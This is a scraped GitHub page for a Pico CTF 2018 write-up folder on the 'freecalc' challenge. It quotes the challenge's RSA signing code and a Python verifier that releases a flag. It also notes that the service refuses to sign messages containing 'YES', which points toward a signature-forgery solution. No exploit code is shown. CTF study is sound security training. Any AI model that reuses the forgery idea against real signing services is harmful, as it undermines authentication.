0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/freecalc","user_id":null}}" data-hydro-click-hmac="218c02d0680ed76cc9547f37f91c9e67e001f68bbf6a658e8bcd1d316f7ebff7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>freecalc<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>freecalc<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/Pico%20CTF%202018/freecalc" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/Pico%20CTF%202018/freecalc"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
### AnalysisThe sender message is signed by RSA in main.c``` printf("Enter message:"); ..... /* Sign via RSA */ city_rsa_init(&cfg, p_str, q_str, p_inv_str, d_str, e_str, d_p_str, d_q_str); //city_print_config(&cfg;; city_rsa_sign(&cfg, result, input_hex); printf("The signature of your message is: 0x%s\n", result);``` The receiver verify message by main.py```#!/usr/bin/env python3 pubkey = { 'e': 0x10001, 'N': 0x98ac865ef6a31313e50fb37853ce96804cb2d864e2a4d14bf7cca85a444a40b453de7c3ae8416e8976cd1cac7f548a43fe8c2eb3d4cfcd3808cf9458c0c87bf4c037d515d22d1299b72e79fcd4a1d1531789cb3013031fb0e28fdfe73f090027b3b3428cacef6dbf7823d5da8d3158101e0c07e707224d451fcbb3114ab85a925bcb7faf9b317bbbddba81285ab93f0ee5f968b258f4675e9d893ec7f0e8379b67527d78fe920ab201cb3a6459d4f3902754b36e3264db7727c6d32e014593c39991f54c7b034d69b986616a39454c85d9e032afa853a6e12fea06472ed3573707da3df9ca7ce8d2c3b820e745da6e3cc523789f858d98645ea042bb54b463d3} def main(): ct = int(input("Input signed message:"), 16) msg = pow(ct, pubkey["e"], pubkey["N"]) msg = int.to_bytes(msg, 128, "big") if b"YES, I did eat the last cookie" in msg: flag = open("/opt/flag.txt").read() print(flag) else: print("Nope, sorry.") if __name__ == '__main__': main()```If signed message contains 'YES, I did eat the last cookie', we can have flag. However, the service block us from getting the message signed directly by checking if 'YES' is inside the message. full writeup is here.[writeup](https://hackmd.io/s/ByUxYYXnQ#)
